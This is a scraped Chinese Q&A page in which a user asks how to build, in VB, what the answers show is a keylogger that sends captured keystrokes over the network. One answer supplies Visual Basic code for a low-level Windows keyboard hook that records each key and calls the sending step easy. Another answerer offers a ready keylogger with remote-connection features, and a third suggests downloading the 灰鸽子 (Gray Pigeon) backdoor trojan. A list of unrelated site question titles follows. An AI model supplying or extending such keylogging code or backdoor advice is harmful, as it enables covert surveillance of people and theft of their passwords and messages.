问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

谁能教我用VB做这个

发布网友 发布时间:2022-04-23 06:09

我来回答

5个回答

热心网友 时间:2023-10-18 11:14

使用键盘钩子
‘声明键盘钩子代码
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hMod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)
Private Type KEYMSGS
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Public Const WH_KEYBOARD_LL = 13
Public Const VK_LWIN = &H5B
Public Const VK_RWIN = &H5C
Public Const HC_ACTION = 0
Public Const HC_SYSMODALOFF = 5
Public Const HC_SYSMODALON = 4
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105

Public P As KEYMSGS
Public lHook As Long
'钩子回调函数
Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim fEatKeystroke As Boolean
Dim a As String
fEatKeystroke = True
If (nCode = HC_ACTION) Then
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Or wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then
CopyMemory P, ByVal lParam, Len(P)
a = Chr(P.vKey) '记录键盘输入
End If
End If
LowLevelKeyboardProc = CallNextHookEx(0, nCode, wParam, ByVal lParam)
End Function
在主界面调用
lHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf LowLevelKeyboardProc, App.hInstance, 0)

记住调用完成别忘了卸载钩子
UnhookWindowsHookEx lHook

剩下的发送键盘这个就简单了 不做介绍
但是希望您用在正途,如果有任何问题后果自负就行

热心网友 时间:2023-10-18 11:14

是网络发送吗?这个非常的复杂。光是记录下键盘按键就非常麻烦了,我以前好象弄过一个,里面除了键盘记录之外还带了其他功能,你要可以发给你。不过,必须别人主动打开客户端并且连接到你的电脑才行,直接连接也可以,但是要保证你的监控用ip不改变,而且至少别人会打开你的监控客户选。

热心网友 时间:2023-10-18 11:15

监视键盘输入可以,发送到你的接收端,有点难

热心网友 时间:2023-10-18 11:15

用 sendkey 搜一下就知道怎么用了
但像QQ之类的有自己的驱动,用sendkey是没用的。

参考资料:http://aglab.stu.e.cn

热心网友 时间:2023-10-18 11:16

你下灰鸽子后门程序去把。
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
arrive in和arrive at 有什么区别? 磁力泵为什么可空转? 为什么不让衬氟塑料磁力泵空转?怎样提升设备稳定性? 工业软管泵 塑料磁力泵为什么不能空转 求推荐男主和女配在一起的小说? 《红衣天下》txt全集下载 检测公司检测哪些 检测公司是怎么样的 检测公司属于什么企业 苹果se升级ios10占掉多少内存 ASP采集,如何采集一个网页里 其它的连接的网页的内容。 iphone se内存升级后录不了指纹怎么办? 怎么样设置IIS让网站访问提速优化 请问苹果se16G的升级到ios11还剩多少可用内存 求好心人分享我们可以相爱吗免费在线观看资源 iphone se 怎么加内存 iphone se 16g系统升级后内存会变小吗? win中在设置IP地址的地方里设置网关,是不是就相当于添加一条如下命令? 苹果se的16g内存可以扩展内存吗 电脑的true端口上用户的连接已被断开是什么意思 编写C语言程序,输入圆的半径,求出圆的周长和面积并输出 苹果sE更换内存几多钱? C语言:编程输入圆的半径,计算圆的面积并输出,输出时保留2位小数。 linux的问题 苹果se怎么加内存 价钱怎么算的 编写程序,从终端键盘输入圆的半径r,圆柱的高h,分别计算出圆的周长cl、圆圆的面积cs和圆柱的体积cvz? 由于系统错误,true端口上用户的连接已被断开是什么意思 苹果se买的16g,请问可以升32g吗 程序 输入圆的半径r,求圆面积 怎么编写 在线观看了《我们相爱吧》第三季完整版,你最喜欢哪一组CP? 有没有74HC74的详细资料,不要网站 苹果iPhone SE(全网通)内存不够怎么办? 求 我们相爱的时刻 百度云免费在线观看资源 跪求在线观看我们如此相爱求百度云高清资源链接 如何判断IP地址是否合法 苹果se能改装128g内存吗 山楂树之恋 电影 山楂树之恋电影全集 山楂树之恋电影在线观看 苹果se内存升级成128 韩安冉晒与老公合照称“我们很好”,否认与马泽鑫离婚,你怎么看?_百度... 综艺《我们相爱吧》邀请正在恋爱中的明星情侣,你对节目有何看法? iphone se 突然内存不足了怎么办? 《相爱不如相见》txt下载在线阅读全文,求百度网盘云资源 苹果se可以插内存卡吗 别对我说谎第二季 别对我说谎第二季全集在线观看 我们是否要频临分手了呢? 许多学生心中的爱情向往,你心目中最好看的*爱情片是哪部,为什么? 猫武士在线阅读 电影《婚姻故事》好在哪里? 绝地求生怎么左右晃